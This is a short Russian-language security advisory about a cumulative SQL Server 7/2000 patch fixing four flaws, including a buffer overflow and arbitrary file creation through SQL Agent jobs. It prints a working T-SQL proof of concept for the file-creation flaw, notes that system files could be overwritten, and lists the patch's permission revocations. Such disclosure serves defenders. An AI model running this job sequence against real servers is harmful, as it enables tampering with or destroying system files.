Совокупная заплата для SQL Server 7-2000, выпущенная вчера, устраняет 4 новых уязвимости. Уязвимость, известная как Dave Aitel's "hello" bug (переполнение буфера в процессе идентификации), была устранена в этой заплате.
Также была устранена проблема создания произвольных файлов на SQL
сервере. Пример:
USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
Microsoft заявляет, что команды "операционной системы" могут быть вставлены в файлы - т.е. созданные файлы могут быть помещены в папку автозагрузки. Но это не верно для SQL Server 2000. Текст создаваемого файла - UNICODE, т.е. после каждых двух байт следует NULL символ. NULL символ препятствует выполнению команд OS. Самый опасный риск этой уязвимости - перезапись файла ntoskrnl.exe. Неизвестно, сработает ли это на SQL 7.0.
Также патч изменил права доступа к следующим процедурам (скорее всего для решение проблемы Дейва Эйтэля):
revoke execute on sp_add_job from public
revoke execute on sp_add_jobstep from public
revoke execute on sp_add_jobserver from public
revoke execure on sp_start_job from public